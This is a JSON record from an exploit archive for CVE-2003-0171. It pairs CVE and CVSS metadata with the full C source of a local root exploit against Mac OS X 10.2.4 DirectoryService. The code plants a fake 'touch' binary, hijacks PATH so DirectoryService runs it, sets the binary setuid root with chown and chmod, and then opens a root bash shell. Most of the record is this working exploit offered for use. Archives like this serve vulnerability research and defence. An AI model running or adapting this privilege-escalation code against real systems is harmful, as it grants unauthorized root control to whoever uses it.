{"exploit":{"id":"EDB-15","name":"Apple Mac OSX 10.2.4 - DirectoryService 'PATH' Local Privilege Escalation (LPE)","description":"Apple Mac OSX 10.2.4 - DirectoryService 'PATH' Local Privilege Escalation (LPE)","cves":["CVE-2003-0171"],"author":"Neeko Oni","published":"2003-04-18","platform":"osx","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15","path":"exploits/osx/local/15.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15.c","vulnerabilities":[{"id":"CVE-2003-0171","state":"PUBLISHED","title":null,"titleSource":null,"description":"DirectoryServices in MacOS X trusts the PATH environment variable to locate and execute the touch command, which allows local users to execute arbitrary commands by modifying the PATH to point to a directory containing a malicious touch program.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0171","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0171"},"updatedAt":"2024-08-08T01:43:36.097Z","retrievedAt":"2026-11-26T12:12:16.619Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15.png?v=2","url":"https://exploitbin.com/exploits/EDB-15","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n   OS X <= 10.2.4 DirectoryService local root PATH exploit\n   DirectoryService must be crashed prior to execution, per\n   @stake advisory.  If you discover how to crash DirectoryService\n   e-mail me at neeko@haackey.com  [Neeko Oni]\n\n--\nAssuming DirectoryService has been crashed/killed, compile\nthis code as 'touch' (gcc osxds.c -o touch) and execute.\n\nbash$ ./touch\n*bunch of stuff here*\neuid is root.\nbash#\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/types.h>\n\nint\nmain(int argc, char **argv)\n{\n\tchar           *ORIGPATH;\n\tint             temp;\n\tif (argc < 2) {\n\t\tif (geteuid() == 0) {\n\t\tprintf(\"euid is root.\\n\");\n\t\tsetuid(0);\n\t\texecl(\"/bin/bash\", \"bash\", NULL);\n\t\t}\n\t\tstrcpy(ORIGPATH, getenv(\"PATH\"));\n\t\tprintf(\"Original path: %s\\n\", ORIGPATH);\n\t\tsetenv(\"PATH\", \".\", 1);\n\t\tprintf(\"New path: %s\\n\", getenv(\"PATH\"));\n\t\tprintf(\"Executing DirectoryService with false PATH...\\n\");\n\t\tif (fork() == 0) {\n\t\t\texecl(\"/usr/sbin/DirectoryService\", \"DirectoryService\", NULL);\n\t\t}\n\t\tprintf(\"Forked DirectoryService, pausing before shell exec...\\n\");\n\t\tsleep(3);\n\t\tprintf(\"Cross your fingers.\\n\");\n\t\tsetenv(\"PATH\", ORIGPATH, 1);\n\t\tprintf(\"Path restored: %s\\n\", getenv(\"PATH\"));\n\t\texecl(\"./touch\", \"touch\", NULL);\n\t}\nsystem(\"/usr/sbin/chown root ./touch;/bin/chmod +s ./touch\");\n}\n\n// milw0rm.com [2003-04-18]","sha256":"c6ba1b0878b6ca25f56c9a36669fc4f1d848f3b73cc79c3ae3f3244e40f6648b","bytes":1335,"fetchedAt":"2026-11-26T12:12:09.856Z","encoding":"utf-8 (display only; download retains original bytes)"}